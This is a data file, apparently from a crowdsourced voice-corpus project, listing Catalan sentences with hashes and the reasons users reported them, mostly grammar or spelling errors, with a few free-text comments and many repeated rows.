l'Holocaust. 700fa9c78759126ee282f4cc55818296411be73a3296ec3b359c90c22ee6166e ca grammar-or-spelling D'ells, almenys onze ha de tenir el doctorat en dret. 716f26a0dc97b3a62a952ce75646cbf12ec1693dadfeebc43b11accab551ef8c ca grammar-or-spelling El planeta és un gegant gasós d'una massa un cinquè la de Júpiter. 71e2f6215928347881cb36f93948d1ae93073d816b41452e576a826ce0b551b6 ca grammar-or-spelling Va ser innovadors en una escala més gran que les residències anteriors. 7144f7a5aaa07d5c7cd648d4bb6b4cbe39defebf8a926199b886efa7d4d5caa5 ca grammar-or-spelling Va ser innovadors en una escala més gran que les residències anteriors. 7144f7a5aaa07d5c7cd648d4bb6b4cbe39defebf8a926199b886efa7d4d5caa5 ca grammar-or-spelling El fou un mal segle per a la Murta. 712e41c94601b394355d3bdec3bc0a7de06f335b0eb95a24772801aa71f09fdc ca grammar-or-spelling Nogensmenys, l'única manera segura per a la salvació roman en el baptisme catòlic. 720e9717d506982554a9f7a4f45f66f90581213f86a6c31a12fb3b0f472ffdaa ca grammar-or-spelling Nogensmenys, l'única manera segura per a la salvació roman en el baptisme catòlic. 720e9717d506982554a9f7a4f45f66f90581213f86a6c31a12fb3b0f472ffdaa ca grammar-or-spelling A l'Orient Mitjà, l'èxit d'Islam significà que la cultura seria canviada per sempre. 724e7dff63a5e6834f275cea30a8374810cf4bafccb385ad3dd8d17e9e66af7f ca grammar-or-spelling Aquesta patologia i la seva prevenció va analitzar-la des dels suposats de la microbiologia mèdica. 72a32aa4f5ba188a81274589d4143aaf5b4a40526a3bb541afdf30c765a02dd6 ca grammar-or-spelling La gran part de les sobres obres són paisatges, tant urbans com rurals. 722f4fcf71975767bf8d1a33754d0e80952855bd5e6549926de75da68afc4ac7 ca grammar-or-spelling D'ells, almenys onze ha de tenir el doctorat en dret. 716f26a0dc97b3a62a952ce75646cbf12ec1693dadfeebc43b11accab551ef8c ca grammar-or-spelling Això fa que a aquesta zona de funcionament s'anomena zona òhmica. 72572980ab4355b9827a8981c30055a6a8f2f9da3ad571c1ff7a8631247baae9 ca grammar-or-spelling Associació Tartamudesa Catalunya. 72356ef5b6beb9ed46283889eb807cba7ed156394a893081b11b44f7fdb0db94 ca grammar-or-spelling Més gran cadells crear arrossegar-se mentre més curt uns produeixen un crisp atracció. 72061e86389fe5de4ac0e685cb431cdf63493868cf05855668491c4e8f9ba3db ca grammar-or-spelling A l'Orient Mitjà, l'èxit d'Islam significà que la cultura seria canviada per sempre. 724e7dff63a5e6834f275cea30a8374810cf4bafccb385ad3dd8d17e9e66af7f ca grammar-or-spelling Això fa que a aquesta zona de funcionament s'anomena zona òhmica. 72572980ab4355b9827a8981c30055a6a8f2f9da3ad571c1ff7a8631247baae9 ca grammar-or-spelling En aquestes obres es va eixamplar l'hostal, sent el mestre d'obres Maure Carbonell. 72264836ff48288852d8abd1d4e829b2ea153f4dda6d33013784aa3fad5a8e42 ca grammar-or-spelling Es va dedicar a l'advocacia exercint a Reus. 729661af3a71dbce8ceab98b0d79b2db1376e2322578631b40571671a6ba2c07 ca grammar-or-spelling A partir d'aquesta data es perden les notícies segures. 726b177a6e73859b2b44c6e77bb2e70082ecb49f7facf70862457ad4f94ef6db ca grammar-or-spelling Es reuneix segons convingui. 72932e9bcbceb9d6cbf1d77675c8810f2fc6a3b71137e5071e0c2c48b92e0db9 ca Llenguatge ampulós, traduït de manera calcada de l'espanyol. Peralada va ser una vila amb una història important. 72971c3f8e5b710c15cdcedba94150438d728a277792bc95bdfa80cd1ea4dc7e ca Perelada ja no és una vila amb una història important? Més gran cadells crear arrossegar-se mentre més curt uns produeixen un crisp atracció. 72061e86389fe5de4ac0e685cb431cdf63493868cf05855668491c4e8f9ba3db ca grammar-or-spelling Els de Tir respondre llançant grans pedres al mar, que impedien a les torres acostar. 7295f54529a8e7c5460de74b6882f7cd0e6541e706f219eb8a8216afecc48cbb ca grammar-or-spelling Tanmateix, als següents anys la cadena municipalista experimentar un progressiu descens d'audiència. 72d80bfd53a84e2951877ba3d55c0fdabcaca5935f23ca064c7409295a2ff230 ca grammar-or-spelling Més gran cadells crear arrossegar-se mentre més curt uns produeixen un crisp atracció. 72061e86389fe5de4ac0e685cb431cdf63493868cf05855668491c4e8f9ba3db ca grammar-or-spelling La vila degué desaparèixer al sota els atacs dels mongols o dels turcmans. 72fbace2eb9b336841dd702470e0e87fcad7863a12ed9ce9c3d660b51a19ec0c ca grammar-or-spelling Tanmateix, molts dels turcs van ser assassinats en emboscades posteriors d'altres rebels. 71547dbdb313862ab8f8bb06a99295bba568c59c5d9d1aa2cc24c258741d4915 ca grammar-or-spelling Els Pisistràtides foren condemnat a desterrament perpetu. 729263a9314cc27223edb5782d9ec14b89d3e45ff0100aab3ace02b09ab37cbb ca grammar-or-spelling Tanmateix, als següents anys la cadena municipalista experimentar un progressiu descens d'audiència. 72d80bfd53a84e2951877ba3d55c0fdabcaca5935f23ca064c7409295a2ff230 ca grammar-or-spelling Els metges criden a aquests casos que estan vinculats a procediments mèdics casos iatrogènics. 72c4da1e29ab543631af2cd639e39eccd4cd2424696058f1c2e5ce2f65804da4 ca grammar-or-spelling La premsa homosexual es va mostrar força comprensiva. 73765ca5322d1d8db90f745239edfbc0cca11474cf8bb86d5ee74a6465af6dfe ca offensive-language Està rodejat d'espectaculars esculls de coral. 731d55961f094fbdb6f6eb47f865efaaff26800c38a3437a841bfb94f46ef3c7 ca grammar-or-spelling Els de Tir respondre llançant grans pedres al mar, que impedien a les torres acostar. 7295f54529a8e7c5460de74b6882f7cd0e6541e706f219eb8a8216afecc48cbb ca grammar-or-spelling Els de Tir respondre llançant grans pedres al mar, que impedien a les torres acostar. 7295f54529a8e7c5460de74b6882f7cd0e6541e706f219eb8a8216afecc48cbb ca grammar-or-spelling La gran part de les sobres obres són paisatges, tant urbans com rurals. 722f4fcf71975767bf8d1a33754d0e80952855bd5e6549926de75da68afc4ac7 ca grammar-or-spelling tres e44604b3e9da037a3baac531bb6998992e82cff3bd036023a048a0fa8a230d72 ca demana que autoritzi acces a microfon, pero no diu com fer-ho. Es poden dipositar espesses capes de lapil·li durant una erupció, augment la base del volcà. 7408c597df9a31354ff169b581e5de9f16937c8b40663ff9d8d94ec465e5f85f ca grammar-or-spelling Posteriorment a Barcelona va acabar de perfeccionar-se en l'Escola de Belles Art de Sant Jordi. 7446cd0132d9d80254960e57a678f4fda4bf42bd0c58dd24179c55fa4fcd4ee9 ca grammar-or-spelling Els altres tres aspectes són valor d'ús, Valor econòmic, i preu. 743de0c7940fbd528e82200e81f6902307e1f4b253253e3e93d2a12f7a2677d2 ca grammar-or-spelling Els nomes estan posats en orde de creació. 74c3d385f0348aa5cce787e6b93894bb717cc7cfa86c41fc9d37233990bb2518 ca grammar-or-spelling Com a tals, podien ser assassinats en tota impunitat, així que llurs dones i fills. 754f129215bb395136d75cec26234dc8fc8a90e44b5cfa52c36e1c9ab8592469 ca grammar-or-spelling Ha d'evitar disturbis per cuidar i educar a la seva gent. 75c816bd3d83b68450ce9de7e0af8feef9ee3ea396f0636061695eafdc422ff9 ca grammar-or-spelling Volia ser comptable, inclús havia consultat universitats per això. 75ece2a73a94763d01d12655bc8cc2717380f941d13dc0289d525d41355fd56b ca grammar-or-spelling Ha d'evitar disturbis per cuidar i educar a la seva gent. 75c816bd3d83b68450ce9de7e0af8feef9ee3ea396f0636061695eafdc422ff9 ca grammar-or-spelling Les seves àrees d'interès incloïen incloent les matemàtiques, les ciències naturals i la música. 76225f63f97ac14045423e44b24d381b6fb93897d2f99d4d810dee8fea9e0db3 ca grammar-or-spelling Algunes d'elles encara estan sent reproduïts. 7616f7af4275ed1f7cade37735dfeaf8e30c1d50fc6394f501760e766c62e96a ca grammar-or-spelling La xarxa hidrogràfica està marcada pel Navia que la travessa de sud a aquest. 767e21ae2ae91f9a3ae78dafb8b6cbd1e9cd15a37f8a54e47b77915bad245cae ca grammar-or-spelling Tot-i-que no fou finalment adoptada, col·lectius per la memòria del Genocidi armeni continuen emprant-la. 76d590f00259dd578b33bab9ffc17045b6da3a1997a042febce17244db40cfd2 ca grammar-or-spelling El seu nom derivada suposadament d'una font del terme. 76c36c337bf937f590772163dfa760778800a27f243edbd224ff3cc6daa70966 ca grammar-or-spelling Hi participaren soles cinc africans, cosa inusual en l'època. 77d9726080c19ea0adf4fb2543ed93b5ab9e6f6e8774d198351a1f6539f11d40 ca grammar-or-spelling Aquests recol·lectes seguien una disciplina molt estricta, amb un seguiment rigorós de la regla original. 7832c0da8c9f0486d2a8d96cd104d48388eb4e1ebf6e92f00edb4ff1e86cb159 ca grammar-or-spelling Va ser construïda, probablement durant a guerra dels trenta anys. 782431fae412bc09d47eb1931e169b00e212eeac6d68c8a3889f5d37bded644b ca grammar-or-spelling L'objectiu general és millor l'eficàcia de l'ajut extern. 78080e7b3e398a773a8618561c5984987c15d1c0f8908834205dce86e18373a6 ca grammar-or-spelling Allí fores allotjades les relíquies de la Dent del Buda i el Bol d'almoines. 77f1252240f95f6a706a37dbe8c9295450ca5ad58eaeb4770935961bac436462 ca grammar-or-spelling Al mateix temps diversos països europeus mirarem d'ocupar territoris de l'Àfrica. 78d1b4b004f34a45180200ecfc22f6f74de49ae59e51532e95077556096b5b4d ca grammar-or-spelling Inicialment hi havia el cel sense llum i buit i la terra. 78d4e678336e8f1f1325f0f66136fd420fbbf83838974033e9b6be5ec3a6f87c ca grammar-or-spelling En l'àlbum conflueixen diversos fets que entusiasmar al públic, especialment als fans. 791915d240d94e4e03fa81d4cb28a8cad67895aae3da8f75f04676f6fca2bcf5 ca grammar-or-spelling L'objectiu general és millor l'eficàcia de l'ajut extern. 78080e7b3e398a773a8618561c5984987c15d1c0f8908834205dce86e18373a6 ca grammar-or-spelling Tot-i-que no fou finalment adoptada, col·lectius per la memòria del Genocidi armeni continuen emprant-la. 76d590f00259dd578b33bab9ffc17045b6da3a1997a042febce17244db40cfd2 ca grammar-or-spelling Quan va morir, se li va enterrar en un funeral nacional en l'Abadia de Westminster. 791151c9ee2fa253c7884ca90b4263359520fa0e8fa180ac91dc1e1bc20490fc ca grammar-or-spelling Als personatges importants moscovites del moment li arribà aquesta epidèmia. 7952c255b1a58d2fc6905b3a93d29978f3b51a2076b8091601e614405d762d19 ca grammar-or-spelling L'objectiu general és millor l'eficàcia de l'ajut extern. 78080e7b3e398a773a8618561c5984987c15d1c0f8908834205dce86e18373a6 ca grammar-or-spelling L'objectiu general és millor l'eficàcia de l'ajut extern. 78080e7b3e398a773a8618561c5984987c15d1c0f8908834205dce86e18373a6 ca grammar-or-spelling També s'hi pot arribar des de Gargallà agafant la carretera que mena cap al Balaguer. 7a407c44fd70538d88be1c1f966a1346331e04c67f411c14f827a34231fb464c ca grammar-or-spelling Aquestes poden tindre o no estípules. 7a29380e0631bc4625522ee184c70127be9817b8d09f9d5a8e31de7cc1d9678f ca grammar-or-spelling Permet d'aquesta manera obtenir una mesura homogènia per comprar la rendibilitat entre projectes d'inversió diferents. 7a2148685dc2d329dbc7ceb4d703566fd5e755b987177c1414f8b0d620116821 ca grammar-or-spelling A la mediterrània en general la fruita són les darreries més habituals. 7a6d72a92ad01ff92c8dc6a3e4fd16fa475ebab518a47e86b55c63299ed802d3 ca grammar-or-spelling Els enfrontaments posteriors involucrar a ranxers i petits propietaris. 7a3fc7a439eb5a0ecb64fbbf61fd9446901e22090aa9596221c2a8b0f71fda29 ca grammar-or-spelling Adrià hi ha ver construir un petit temple al costat de les runes de l'antic. 7aac7344cc9e0fb94008d754e28a6834495f2409d1c31e6bcac27af8ba52eed9 ca grammar-or-spelling Aquestes dades, per tant, ha de ser compresa amb l'estructura poblacional i la mediana d'edat. 7b05015f36a468923628eb22f3f7493f2e16c73c963b0e45199a1b7f163856fd ca grammar-or-spelling A principis del funciona com a restaurant rural, especialitzat en carns a la brasa. 7aacf9a294c4e8c205c60fe8ccbb7eaa3cee073271943a911a3fbd968464081c ca grammar-or-spelling Durant la guerra civil espanyola va col·laborar en publicacions sobre temes econòmiques i socials. 7ac6437a5c7d60cab9c0810b0ddca12bbb9e6c4e4ba5c700566edbcf6980f4f4 ca grammar-or-spelling Permet d'aquesta manera obtenir una mesura homogènia per comprar la rendibilitat entre projectes d'inversió diferents. 7a2148685dc2d329dbc7ceb4d703566fd5e755b987177c1414f8b0d620116821 ca grammar-or-spelling És un edifici aïllat dimensions, de planta baixa. 7b527263fb34a4191d1bc34b5105b3d782384511fcd495ee27118940d18d2475 ca grammar-or-spelling Aquestes dades, per tant, ha de ser compresa amb l'estructura poblacional i la mediana d'edat. 7b05015f36a468923628eb22f3f7493f2e16c73c963b0e45199a1b7f163856fd ca grammar-or-spelling Com que era la tenia una part important d'ascendència humana, també era anomenat el mig-elf. 7b7cbfb3912c65eb74396c3fa07b991bac0235c1da4e43b4ce190cb77717feab ca grammar-or-spelling També permet que participe en el documental mitjançant l'aportació d'informació per a la recerca. 7c668243a581ba0a2a680c268fcbb4a8effd345f278e0a410298c7c72cb1256c ca grammar-or-spelling Aquestes cinc aeronaus són part de l'Esquadró No. 7be2e45a01b3ca88e9e157ba7f0cb660e4f083cf5afabaf9d12b7853ffda71c5 ca grammar-or-spelling Com que era la tenia una part important d'ascendència humana, també era anomenat el mig-elf. 7b7cbfb3912c65eb74396c3fa07b991bac0235c1da4e43b4ce190cb77717feab ca grammar-or-spelling Posteriorment, Diputació va treure un concurs per a la realització d'un auditori cobert polivalent. 7cb945a04cf9648e1fe9ec23caf460b46e0f3ec0c4ff5cb8bdc673a312770bad ca grammar-or-spelling Aquests habitatges han estat objecte robatoris, per això alguns propietaris han organitzat rellotges de nit. 7c9731395cf65e6d26ba3c4bb16300f2892719b90a659b360da19d9bed1bf08b ca grammar-or-spelling Com que era la tenia una part important d'ascendència humana, també era anomenat el mig-elf. 7b7cbfb3912c65eb74396c3fa07b991bac0235c1da4e43b4ce190cb77717feab ca grammar-or-spelling Com que era la tenia una part important d'ascendència humana, també era anomenat el mig-elf. 7b7cbfb3912c65eb74396c3fa07b991bac0235c1da4e43b4ce190cb77717feab ca grammar-or-spelling Aquest sentiment rep el nom de i tothom el pot experimentar. 7d35ec25e6959f49fa0bbe9e904ac8ba2f6301f09dd1c5f88e703c3c99bdad6a ca grammar-or-spelling Un molt bonica pel·lícula d'Alfred Hitchcock. 7debead97b8ad7f56aa27f4e0403e4b41541ce2afd1d3dadfcc5e5ffef4dc3da ca grammar-or-spelling Per tot seguint donar-li instruccions per poder iniciar d’altres persones. 7e9146b5abd5c859d0c0c1fdc1b4ac77109127f5b49eab5a024f488a7129b475 ca grammar-or-spelling Les funciona d'administració, inicialment les va fer Jaume Busquets. 7eed3e96fb6e6742e7d43b376e66c8d4590acc10c9bf451832110be893ea129a ca grammar-or-spelling Les funciona d'administració, inicialment les va fer Jaume Busquets. 7eed3e96fb6e6742e7d43b376e66c8d4590acc10c9bf451832110be893ea129a ca grammar-or-spelling La seu va restar vacant al quan segurament la ciutat es va despoblar. 7f3905bfdf6998a60df3d4dfc0a93db4dd37834d9af6de403fab8c9dcd49ea82 ca grammar-or-spelling Les funciona d'administració, inicialment les va fer Jaume Busquets. 7eed3e96fb6e6742e7d43b376e66c8d4590acc10c9bf451832110be893ea129a ca grammar-or-spelling Els bisbes de Trani i Barletta això van continuar mantenint la dignitat d'arquebisbe. 7f77cf98f76d0b5b3717319fad29ef1437d75340405e2dae52a08b79d495a072 ca grammar-or-spelling Un cop retirat s'ha dedicat dedicar a la direcció esportiva. 7fd29030a71413c04e0107341d2f5e82fb7da923b17db263cef2578d116c4416 ca ... dedicat dedicar... repetició? Els bisbes de Trani i Barletta això van continuar mantenint la dignitat d'arquebisbe. 7f77cf98f76d0b5b3717319fad29ef1437d75340405e2dae52a08b79d495a072 ca grammar-or-spelling Els estolons tenir tiges llargues o curtes. 7faaf8cc7f5179a6675ac84e72f0600d7d81892d9234a98596cc4c957313ed82 ca grammar-or-spelling Els estolons tenir tiges llargues o curtes. 7faaf8cc7f5179a6675ac84e72f0600d7d81892d9234a98596cc4c957313ed82 ca grammar-or-spelling Els estolons tenir tiges llargues o curtes. 7faaf8cc7f5179a6675ac84e72f0600d7d81892d9234a98596cc4c957313ed82 ca grammar-or-spelling No és permès per utilitzar nuclear, substància química, o armes biològiques en Palau territori. 7f2fa7631b41589e14325459542101bfa199e2d4d6a4c38b00f4e90cfc212235 ca grammar-or-spelling Els estolons tenir tiges llargues o curtes. 7faaf8cc7f5179a6675ac84e72f0600d7d81892d9234a98596cc4c957313ed82 ca grammar-or-spelling Posterior, aquest moviment es va veure posteriorment frenat i represaliat durant les dues dictadures. 800112f62b3540ba197837b2e8cbe930d1a245b74be4c65926142fc03a9fda92 ca grammar-or-spelling Un cop retirat s'ha dedicat dedicar a la direcció esportiva. 7fd29030a71413c04e0107341d2f5e82fb7da923b17db263cef2578d116c4416 ca grammar-or-spelling La popularitat del festival s’ha anat incrementat en els darrers anys. 8031d3a2b343509572833adc9b9cc73885a1f83cbb9c0df3d0882c88fdb6be4b ca grammar-or-spelling En física, linealitat és una propietat de les equacions diferencials que governança diversos sistemes interessants. 80b910b17f61435ba83975ffbe72b26f3819349dd89bb13674623402123056ea ca grammar-or-spelling Per aquest motiu poden rebre transfusions de qualsevol dels quatre grups. 829a5d373ea08f3aca7d4cf95059aa546ef0a7040ca4fefd2a96c565865dce1f ca grammar-or-spelling Durant de la revolta la policia va disparar contra la multitud, matant quatre persones. 82ea78639826e00990f2a54bcb1d50bf5dc65a2d0678ddebd6532023d1c5334c ca grammar-or-spelling Fou el primer científic que va aïllar la lecitina i en descriure la seva composició. 839690d6ce441019993dcda44e6314e7c2dd6bfd8fc87980974b669870f404b0 ca grammar-or-spelling Davant del barri o lliça hi ha un gran era enllosada i una cabana. 839f32d2247b70eb49dc53870235544b4a9079e4993dcf11effecc7adb7234af ca grammar-or-spelling Va destruir diverses ciutats assetjant a Florència que era una ciutat jove i prospera. 83b1fc813847834907bfbb5c4a61439a141c81e3eaf3cdf4613f3a587e301b8f ca grammar-or-spelling L'interior la coberta és lleugerament apuntada. 83beb2989d3026f40220d95f40c2d0cdd2fa677eab2b1e25f7140c53b3fb6acb ca grammar-or-spelling Es troba en l'actual l'estat de Geòrgia. 83e9eb6e7fb6d6599d68e49a378e9ea035f560dbac459bb6a1836d0a9973b4e7 ca grammar-or-spelling Entre aquests estiven la tortuga americana del desert, els cocodrils i les salamandres. 84360feae2e203a3d1bc7b44f16a7958fc46b1d0b9c3c49578b8f1a0c9c32a59 ca grammar-or-spelling Visual i dits i nas i orelles i gust de cireres. 8443fad8dec1ac5ac1c53950efa422ec8785636aad5479205acd13e6b690873c ca grammar-or-spelling En els fogatges del i consta com a Sentmenat, de la vegueria de Barcelona. 843366448090865fdd67706603394ea9dac25a6145bf348a42a631f9c38a1849 ca grammar-or-spelling Aquest lloc pertanya a la continuació dels Alps francesos. 84352e25e68cb6bf42fb20e0617afbe52832b47deadaca40907352074693c957 ca grammar-or-spelling En els fogatges del i consta com a Sentmenat, de la vegueria de Barcelona. 843366448090865fdd67706603394ea9dac25a6145bf348a42a631f9c38a1849 ca grammar-or-spelling Els elements estan doncs preparats tot arreu. 680c596a7d87924aa531744bee2bf9515d0475535c6486ec26b3bdfb531302b3 ca grammar-or-spelling És considerat l'obra cimera de la ceràmica grega. 84967606a13c0bbdaac6f56f1029c531ab1d03624e32544defc5dc0c7206ed60 ca grammar-or-spelling Procuren tindre el seu micròfon el més prop possible del director. 7b84d857ba77a445336efdad36a9810612be95a38432ef1c8e934540ce5ec580 ca grammar-or-spelling Procuren tindre el seu micròfon el més prop possible del director. 7b84d857ba77a445336efdad36a9810612be95a38432ef1c8e934540ce5ec580 ca grammar-or-spelling El patrimoni arquitectural és jove. 8512d2c05ee3c893db2d79c89736f06321ff1b3b3b448fce8b6f2601613585de ca grammar-or-spelling Els exàmens i la meritocràcia encara són característiques valorades en la cultura xina actual. 854d6c66530e4612d4f9b74480348e6ac1ce7629d88ef1834e3ce4c19e0888b7 ca grammar-or-spelling Les forces armades brasileres són les més grans d'Amèrica Latina. 8618cec53026949ed2d0372315547a6d36f9f00bd963541bac57057f61eeff6b ca grammar-or-spelling Des d'aquesta data s'efectuen acord amb organismes oficials que tenen rols similars. 863a6f05002492f48eaea840286eec4aeec03410a503fc6ec0b0d10de57d0afc ca grammar-or-spelling Els soldats hauran de lluitar peu, i seran transportats en vehicles blindats. 86220fa0a94119469edd6470d072e2da1095352e39b21a35f016c486472b06a5 ca grammar-or-spelling Colom nomenar a Miquel de Ballester primer alcaid de la fortalesa. 86305eac1875f6c4b22940fe52eaca6b448665c9a6fb6fbd319bcc04dd1ed101 ca grammar-or-spelling Des d'aquesta data s'efectuen acord amb organismes oficials que tenen rols similars. 863a6f05002492f48eaea840286eec4aeec03410a503fc6ec0b0d10de57d0afc ca grammar-or-spelling Han coincidit en el temps dues noticies. 86bb5d31b4d0fbe1e6750bf3a1ee040dae12faf583bfc092fc29af1233335adb ca grammar-or-spelling La façana té un sòcol de pedra, metre que la resta està estucada. 866d6ccee46daa1a6d10fa41ef829767064e8c6ea7b6cd15022832d22d61a071 ca grammar-or-spelling Les forces armades brasileres són les més grans d'Amèrica Latina. 8618cec53026949ed2d0372315547a6d36f9f00bd963541bac57057f61eeff6b ca grammar-or-spelling Les forces armades brasileres són les més grans d'Amèrica Latina. 8618cec53026949ed2d0372315547a6d36f9f00bd963541bac57057f61eeff6b ca grammar-or-spelling Viure i va ensenyar a Luoyang, i va declinar nombrosos nomenaments per a alts càrrecs. 86911008c13bf556aa1c86aadc1670f99917721758ca16cf12b19fd34f3d382b ca grammar-or-spelling Han coincidit en el temps dues noticies. 86bb5d31b4d0fbe1e6750bf3a1ee040dae12faf583bfc092fc29af1233335adb ca grammar-or-spelling Han coincidit en el temps dues noticies. 86bb5d31b4d0fbe1e6750bf3a1ee040dae12faf583bfc092fc29af1233335adb ca grammar-or-spelling Dos terços dels membres han d'aprovar, però, dites recomanacions. 86bd34ba9c62cbc6fd910455a3c89928ffa2d06c337c32665c7e7f96d0840647 ca grammar-or-spelling Si bé a l'escola, els esquirols són intimidats per esportistes i visitar l'oficina del director. 86b33627611976586f5d9748be253a2a31162d26d054803482398914857bf2ff ca grammar-or-spelling Viure i va ensenyar a Luoyang, i va declinar nombrosos nomenaments per a alts càrrecs. 86911008c13bf556aa1c86aadc1670f99917721758ca16cf12b19fd34f3d382b ca grammar-or-spelling També va dir que ser ferit i havia rebut la Medalla commemorativa albanesa. 86ae24bc7876b3feee8bd8d53e7cd20010c5a4661d0cc02e55dcf30316dcbcb3 ca grammar-or-spelling La façana té un sòcol de pedra, metre que la resta està estucada. 866d6ccee46daa1a6d10fa41ef829767064e8c6ea7b6cd15022832d22d61a071 ca grammar-or-spelling Les forces armades brasileres són les més grans d'Amèrica Latina. 8618cec53026949ed2d0372315547a6d36f9f00bd963541bac57057f61eeff6b ca grammar-or-spelling Si bé a l'escola, els esquirols són intimidats per esportistes i visitar l'oficina del director. 86b33627611976586f5d9748be253a2a31162d26d054803482398914857bf2ff ca grammar-or-spelling La seva Germana, Aida De Lucca tènia una gran admiració pel seu benvolgut germà. 865941aa3a09292f8358b4dd7ab61955e2bf9d0000f1976a648f340c42a4bed6 ca grammar-or-spelling En un moment determinat, la roca es converteix màgicament en un globus terraqüi. 860a509398d9fef0a9d8fd7a0e67aedac447eb4e21d1c9a59b6b603beee117ed ca grammar-or-spelling En un moment determinat, la roca es converteix màgicament en un globus terraqüi. 860a509398d9fef0a9d8fd7a0e67aedac447eb4e21d1c9a59b6b603beee117ed ca grammar-or-spelling Era descendent dels quraixites de la Meca de confessió xiïta. 8756f11e6247c1c0e95104714ee37780aa2c2eb606ff07358358eeb8b01c594c ca grammar-or-spelling Els arcs són ogivals i el pòrtic està coberta per voltes d'encreuament. 8716026b53da681c5057ce85019960c740fb7d60b3f78a27f9daf77056806aba ca grammar-or-spelling Viure i va ensenyar a Luoyang, i va declinar nombrosos nomenaments per a alts càrrecs. 86911008c13bf556aa1c86aadc1670f99917721758ca16cf12b19fd34f3d382b ca grammar-or-spelling Es conrea a les províncies de Tarragona i a la Castelló. 8700cb9edb07f0ef025fdf293d8253849e8562f0895bb2bb3db4169d3bb1fafa ca grammar-or-spelling Els arcs són ogivals i el pòrtic està coberta per voltes d'encreuament. 8716026b53da681c5057ce85019960c740fb7d60b3f78a27f9daf77056806aba ca grammar-or-spelling Aquesta herba és de vegades utilitzat per controlar l'erosió i restaurar terrenys secs. 869480f1df1240bcbd1c3a3ec6770d8068deda5425e02f64f1612b267d26ceab ca grammar-or-spelling El Mercat ocupa tota una illa i que s'estructura en dos pisos. 88207a32ce501fe5bb10fdb208e9bb2da95a3f3447aded625f54002d6ad05416 ca grammar-or-spelling Altres autors li atribueixen un origen egipcià. 881be8b97f455f13b54e559b9843eba5fa3240c6cc03ed7c91275df7f84eb923 ca grammar-or-spelling Aquest text, estèticament atractiu en si, també conte informació valuosa sobre el seu lloc d'origen. 87f83534fa7a584c0e125afbd298853f7212ed49069a5b43a177a48349fe7bda ca grammar-or-spelling L'interior del s'observa que la coberta és de volta apuntada. 884cb7ff2f6f1f8020ef884fc4279b6400dcbf8935c500f8cf2671b3f8422d6f ca grammar-or-spelling General un desplaçament cap al roig. 88a2ad23090ee2afb396103e9a1e4dcbe02201527f45e1c81ec151e3894d8be1 ca grammar-or-spelling Aquest text, estèticament atractiu en si, també conte informació valuosa sobre el seu lloc d'origen. 87f83534fa7a584c0e125afbd298853f7212ed49069a5b43a177a48349fe7bda ca grammar-or-spelling L'interior del s'observa que la coberta és de volta apuntada. 884cb7ff2f6f1f8020ef884fc4279b6400dcbf8935c500f8cf2671b3f8422d6f ca grammar-or-spelling Actualment exerceix com a cap de la branca operacions de l'Estació Espacial Internacional. 894c84efa8195b001f71f2ab1b27818458a2977f7059b4a8b59918da32149e0c ca grammar-or-spelling Actualment exerceix com a cap de la branca operacions de l'Estació Espacial Internacional. 894c84efa8195b001f71f2ab1b27818458a2977f7059b4a8b59918da32149e0c ca grammar-or-spelling Actualment exerceix com a cap de la branca operacions de l'Estació Espacial Internacional. 894c84efa8195b001f71f2ab1b27818458a2977f7059b4a8b59918da32149e0c ca grammar-or-spelling L'interior del s'observa que la coberta és de volta apuntada. 884cb7ff2f6f1f8020ef884fc4279b6400dcbf8935c500f8cf2671b3f8422d6f ca grammar-or-spelling Mori al cap de pocs anys, encara jove, a causa d'una malaltia desconeguda. 89a5a02e2dadf4cb21ec5f6950b038ad4d966225b34df786946d3494d7ffc666 ca grammar-or-spelling Encara mai ha estat anomenada a cap premi. 890c91ba2b78eff5c47c462f13a3ce8b091fcd67bacd689cc210c38b3da28015 ca grammar-or-spelling La senyoria del castell passar successivament als Marc, Rosanes, Torrelles i als Cardona. 8a253fc3981c914c684e432b4fb9e8e7a8a04ea7087506a7a97d1322e9d397d0 ca grammar-or-spelling Els seus pares van influir de manera decisiva en seva la formació. 8a327ccd2767332b7913db8613b789397cdfdf57b3b0ce5d42377d3dcb0dddd3 ca grammar-or-spelling Segons Ciceró tenia una gran expressivitat i per això no li calia usar mascara. 8a23f41486197d0258061734b3e7693b2709972991b79cc656e570785579f217 ca grammar-or-spelling És el més gran àrea salvatge subtropical dels Estats Units. 8a6d300deba79994bf447b5a74bb1d888c14ccfd075c583ccf21df14ea4314e7 ca grammar-or-spelling Més tard cridat per Cabrera, acudí acompanyar-lo i consolar-lo amb la música. 8a6d597a35253a9ffd94281c863ba6c9288170de760e60960b26b301afa748d6 ca grammar-or-spelling El club també signat un contracte amb José Pedro Martínez, el nou president del club. 8a64bd86b876d02b7b85918a93dcd66046582210d1ae8131e24a1557519bf2ba ca grammar-or-spelling Algunes presentacions té algun estimulant, molt habitualment ginseng. 8a741b0358d243d5503e43589b7822bb7494c9b4ace99495ef0279c523651650 ca grammar-or-spelling És el més gran àrea salvatge subtropical dels Estats Units. 8a6d300deba79994bf447b5a74bb1d888c14ccfd075c583ccf21df14ea4314e7 ca grammar-or-spelling El club també signat un contracte amb José Pedro Martínez, el nou president del club. 8a64bd86b876d02b7b85918a93dcd66046582210d1ae8131e24a1557519bf2ba ca grammar-or-spelling Entre la temàtica les seves obres destaca la desorientació dels ciutadans en els països desenvolupats. 8b4125bc76523f130670982b6e32bfd7c3da6996bc35af5cf61c974ea9be3fa0 ca grammar-or-spelling L'al·legoria és mostrada d'una forma alguna cosa còmica i jovial. 8af2e29ca7ae937fe4f2eec58d93a449e65ee9249e3bc53a132bdd6c40c71922 ca grammar-or-spelling La creació d'un grup nou a la jerarquia alt. 8bc076ec1135d32998793d215be7eccdfdd875f5fbdd375874bb3bea82b7046e ca grammar-or-spelling Actualment s'ha recuperat, restaurant i embellit. 8c61b7f5168cba9a40a836517482996a76a9760f961f31b5538bfae876b5f422 ca grammar-or-spelling El següent diagrama mostra les poblacions més prop. 8c633191d95d6100e59a21cdddec2361563f00df4e28fce6e43473052ee2f190 ca grammar-or-spelling Etimològicament, el calceter és un venedor qui fabrica on qui ven articles de calceteria. 8c89850d76b155765bca38e19d0c3e94001b579d4021a7cedbad774bc4409708 ca grammar-or-spelling Aquests arbres binaris alfabètics òptims són usats sovint com aboleix binaris de cerca. 8cc8b5eb1a82e853b11ca1e63a966277714ff6095753ebcecf73da3162e2675a ca grammar-or-spelling Sora derrota Ansem en una batalla. 8cdc50b55ac8692459d6a242d44707f9ab96abed3db68089dd4609fd9564cb23 ca grammar-or-spelling El directori general del parc és Jordi Camí i Morell. 8d49b0d3669267aba5116e109579041a9a9de3055be2f1b58e10606ba6c77314 ca grammar-or-spelling Entre els espais els arcs hi ha un medalló amb una esfinx. 